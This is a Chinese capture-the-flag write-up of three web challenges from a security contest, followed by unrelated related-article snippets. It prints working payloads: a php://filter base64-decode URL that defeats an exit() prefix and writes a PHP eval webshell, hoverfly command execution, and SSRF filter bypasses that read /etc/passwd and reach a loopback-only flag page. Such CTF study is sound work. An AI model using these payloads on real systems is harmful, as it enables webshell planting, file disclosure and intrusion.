第六届金盾信安杯Web题解

比赛一共4道Web题,比赛时只做出三道,那道文件上传没有做出来,所以这里是另外三道题的WP

分别是   fillllll_put    hoverfly   ssrf

fillllll_put

涉及:

绕过exit() 死亡函数

php://filter 伪协议配合base64加解密 

一句话木马

题目源码:

$content参数在开头被拼接了exit函数,需要绕过exit()函数才能使得通过$content参数写入的文件内容被成功执行而不是直接执行exit函数,可以用base编码实现绕过

详解php://filter以及死亡绕过_filter绕过过滤-CSDN博客

就是利用php://filter/write=convert.base64-decode来对文件中的内容先进行base64解码

比如下面这行代码

file_put_contents('php://filter/write=convert.base64-decode/resource=1203.php', 'SGVsbG8gV29ybGQ=');

write=convert.base64-decode指定了一个写入过滤器,该过滤器会在数据被写入之前对其进行 Base64 解码

所以当执行这行代码时,PHP 会先对 SGVsbG8gV29ybGQ= 进行 Base64 解码,得到 Hello World,然后将这个解码后的字符串写入到1203.php文件中

base64编码中只包含64个可打印字符,PHP在解码base64时,遇到不属于这64个字符之外的字符时,将会忽视这些字符,进行把符合范围的字符重新组成一个新的字符串然后解码

写入文件中的内容为 <?php exit(); 加上后面拼接$content参数,可以拼接一句话木马,比如<?php eval($_POST[a]);  进行base64编码得到  PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

在base64解码的过程中  "<?php exit();"    里面只有phpexit 这七个字符在base64编码表中,所以能够被解码的字符仅有phpexit,其他的字符会被忽略,base64算法解码时是4字节一组,这里七个字符phpexit无法进行解码,所以可以随便添加一个字符a,凑齐8个字节就可以被base64解码,得到

这样就让exit()函数失去了作用完成绕过,$content参数后面构造的一句话木马会被成功解码并识别为php代码

构造Payload:

(任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链,所以可以不加write=)

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

连接蚁剑之后在/tmp/flag.txt文件下找到flag

hoverfly

浏览器搜索发现hoverfly存在漏洞,搜集信息之后发现可以命令执行和任意文件读取

但是读取文件需要知道文件名,使用搜集到的payload尝试读取flag文件

在/flag和/tmp/flag都读取到了flag但是都是假的flag

手动猜测文件名得到flag的可能性太低,换思路,尝试命令执行

Payload是下面这种格式

同时发现题目页面中的信息刚好能够对应上图的命令中的信息,如下图所示,所以进行命令执行

先执行ls命令发现成功回显文件信息

接下来直接用 grep -r 命令遍历目录查找文件中的关键词flag即可得到flag

在/tmp/fa1g文件中得到flag

ssrf

题目提示是ssrf,而且界面也很像ssrf

测试一下,输入 www.baidu.com  虽然没成功回显,但是查看页面源码得到提示

加上http://   http://www.baidu.com  成功访问到百度主页

那么直接配合file协议读取一下本地文件/etc/passwd

提示:不允许使用 file://、gopher:// 或 dict:// 协议

使用file://被过滤,而刚才传入http://时成功回显没有过滤,所以判断是file://这一部分被禁止输入,而不是单独的file或者 ://

猜测代码中是使用preg_match()函数进行过滤的,尝试用反斜线\ 分隔file://来绕过代码的检测

输入file:\///etc/passwd 成功读取

接着读取/flag.txt失败,回显False,说明给出的信息可能是错的

目录扫描发现flag.php

测试路径之后得到是/var/www/html/flag.php      输入 file:\///var/www/html/flag.php

成功得到flag.php源码

进行代码审计,只要绕过if判断让$ip和127.0.0.1比较的结果相等即可执行后面的代码输出flag

这里127.0.0.1是被禁止的,传入http://127.0.0.1/flag.php,会提示Invalid URL!

但是如果把127.0.0.1改为127.0.0.2,会发现能够直接得到flag

多次测试发现在127.0.0.2到127.9.9.9范围内取值都是可以得到flag的,而127.0.0.0和127.0.0.1不行,第一位如果不是127的话也不行

那么输入http://127.0.0.2/flag.php

或者http://127.0.0.2/falg1111111111111111111111111111l1.txt都可以得到flag,只要前面的格式在127.0.0.2到127.9.9.9范围即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/483463.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习概述,特征工程简述2.1——2.3

机器学习概述&#xff1a; 1.1人工智能概述 达特茅斯会议—人工智能的起点 机器学习是人工智能的一个实现途径 深度学习是机器学习的一个方法发展而来 1.1.2 机器学习和深度学习能做什么 传统预测 图像识别 自然语言处理 1.2什么是机器学习 数据 模型 预测 从历史数…

嵌入式蓝桥杯学习1 点亮LED

cubemx配置 1.新建一个STM32G431RBT6文件 2.在System-Core中点击SYS&#xff0c;找到Debug&#xff08;设置为Serial Wire&#xff09; 3.在System-Core中点击RCC&#xff0c;找到High Speed Clock(设置为Crystal/Ceramic Resonator) 4.打开Clock Configuration &#xff0…

【MySql】navicat连接报2013错误

navicat连接mysql报2013错误 报错信息1、检验Mysql数据库是否安装成功2、对Mysql的配置文件进行修改配置2.1、找到配置文件2.2、Linux下修改配置文本 3、连接进入mysql服务4、在mysql下执行授权命令 报错信息 Navicat连接mysql报2013错误 2013-Lost connection to MYSQL serve…

Next.js 路由使用完整指南

Next.js 路由使用指南 目录 基础路由 index 路由页面路由布局路由 嵌套路由 文件夹嵌套共享布局 动态路由 单参数路由多参数路由可选参数 路由组 组织结构共享布局 平行路由 同时渲染条件渲染 拦截路由 模态框照片预览 最佳实践 路由组织性能优化类型安全 1. 基础路由 Nex…

Vue2-从零搭建一个项目(项目基本结构介绍)

目录 一、脚手架安装 二、项目结构介绍 1、项目结构介绍 2、组件关系与脚手架入口内置关系 &#xff08;1&#xff09;组件关系 &#xff08;2&#xff09;脚手架入口内置关系 一、脚手架安装 在默认安装Node.js的前提下&#xff0c;需要进行两两步操作 直接参照下面的…

Redis 之持久化

目录 介绍 RDB RDB生成方式 自动触发 手动触发 AOF&#xff08;append-only file&#xff09; Redis 4.0 混合持久化 Redis主从工作原理 总结 介绍 Redis提供了两个持久化数据的能力&#xff0c;RDB Snapshot 和 AOF&#xff08;Append Only FIle&#xff09;…

8. Debian系统中显示屏免密码自动登录

本文介绍如何在Debian系统上&#xff0c;启动后&#xff0c;自动免密登录&#xff0c;不卡在登录界面。 1. 修改lightDM配置文件 嵌入式Debian系统采用lightDM显示管理器&#xff0c;所以&#xff0c;一般需要修改它的配置文件/etc/lightdm/lightdm.conf&#xff0c;找到[Seat…

Linux下,用ufw实现端口关闭、流量控制(二)

本文是 网安小白的端口关闭实践 的续篇。 海量报文&#xff0c;一手掌握&#xff0c;你值得拥有&#xff0c;让我们开始吧&#xff5e; ufw 与 iptables的关系 理论介绍&#xff1a; ufw&#xff08;Uncomplicated Firewall&#xff09;是一个基于iptables的前端工具&#xf…

MySQL常见面试题(二)

MySQL 索引 MySQL 索引相关的问题比较多&#xff0c;对于面试和工作都比较重要&#xff0c;于是&#xff0c;我单独抽了一篇文章专门来总结 MySQL 索引相关的知识点和问题&#xff1a;MySQL 索引详解 。 MySQL 查询缓存 MySQL 查询缓存是查询结果缓存。执行查询语句的时候&a…

红日靶场vulnstark 2靶机的测试报告

目录 一、测试环境 1、系统环境 2、注意事项 3、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、Weblogic漏洞利用 3、Getshell 4、CS上线 5、内网信息收集 利用zerologon漏洞攻击域控服务器(获取密码) 6、横向移动 ①使用PsExec上线域控服务器 ②使用…

用于LiDAR测量的1.58um单芯片MOPA(一)

--翻译自M. Faugeron、M. Krakowski1等人2014年的文章 1.简介 如今&#xff0c;人们对高功率半导体器件的兴趣日益浓厚&#xff0c;这些器件主要用于遥测、激光雷达系统或自由空间通信等应用。与固态激光器相比&#xff0c;半导体器件更紧凑且功耗更低&#xff0c;这在低功率供…

MFC工控项目实例三十五读取数据库数据

点击按钮打开文件夹中的数据文件生成曲线 相关代码 void CSEAL_PRESSUREDlg::OnTesReport() {CFileDialog dlgOpen(TRUE/*TRUE打开&#xff0c;FALSE保存*/,0,0,OFN_NOCHANGEDIR|OFN_FILEMUSTEXIST,"All Files(mdb.*)|*.*||",//文件过滤器NULL);CString mdb_1, m…

Harnessing Large Language Models for Training-free Video Anomaly Detection

标题&#xff1a;利用大型语言模型实现无训练的视频异常检测 原文链接&#xff1a;https://openaccess.thecvf.com/content/CVPR2024/papers/Zanella_Harnessing_Large_Language_Models_for_Training-free_Video_Anomaly_Detection_CVPR_2024_paper.pdf 源码链接&#xff1a;ht…

Linux笔试题(自己整理,已做完,选择题)

详细Linux内容查看&#xff1a;day04【入门】Linux系统操作-CSDN博客 1、部分笔试题 本文的笔试题&#xff0c;主要是为了复习学习的day04【入门】Linux系统操作-CSDN博客的相关知识点。后续还会更新一些面试相关的题目。 欢迎一起学习

BA是什么?

1.BA的定义 BA的中文译为“光束法平差”,也有翻译为“束调整”、“捆绑调整”等,是一种用于计算机视觉和机器人领域的优化技术,主要用于精确优化相机参数(包括内参数和外参数)和三维空间中特征点的位置。BA的目标是通过最小化重投影误差来提高三维重建的精度和一致性。重投影误…

Windows系统搭建Docker

Windows系统搭建Docker 一、系统虚拟化1.1启用虚拟化1.2启用Hyper-v并开启虚拟任务 二、安装WSL2.1 检验安装2.2 命令安装WSL&#xff08;与2.3选其一&#xff09;2.3 手动安装WSL&#xff08;与2.2选其一&#xff09;2.4 将 WSL 2 设置为默认版本 三、docker安装 一、系统虚拟…

洛谷二刷P4715 【深基16.例1】淘汰赛(c嘎嘎)

题目链接&#xff1a;P4715 【深基16.例1】淘汰赛 - 洛谷 | 计算机科学教育新生态 题目难度&#xff1a;普及 刷题心得&#xff1a;本题是我二刷&#xff0c;之前第一次刷是在洛谷线性表那个题单&#xff0c;当时印象深刻第 一篇题解是用的树来做&#xff0c;当时我不屑一顾&…

基于Matlab BP神经网络的电力负荷预测模型研究与实现

随着电力系统的复杂性和规模的不断增长&#xff0c;准确的电力负荷预测对于电网的稳定性和运行效率至关重要。传统的负荷预测方法依赖于历史数据和简单的统计模型&#xff0c;但这些方法在处理非线性和动态变化的负荷数据时&#xff0c;表现出较大的局限性。近年来&#xff0c;…

非标自动化行业ERP选型与案例展示!

非标自动化行业&#xff0c;那么使用的就是非标设备&#xff0c;什么是非标设备呢?用一句话来说明就是指设计制造方面没有形成国家标准的设备。 在如今追求高效的社会&#xff0c;各行各业都朝着提高效率精益工艺&#xff0c;缩减流程&#xff0c;调整业务&#xff0c;用各种…

十、软件设计架构-微服务-服务调用Dubbo

文章目录 前言一、Dubbo介绍1. 什么是Dubbo 二、实现1. 提供统一业务api2. 提供服务提供者3. 提供服务消费者 前言 服务调用方案--Dubbo‌ 基于 Java 的高性能 RPC分布式服务框架&#xff0c;致力于提供高性能和透明化的RPC远程服务调用方案&#xff0c;以及SOA服务治理方案。…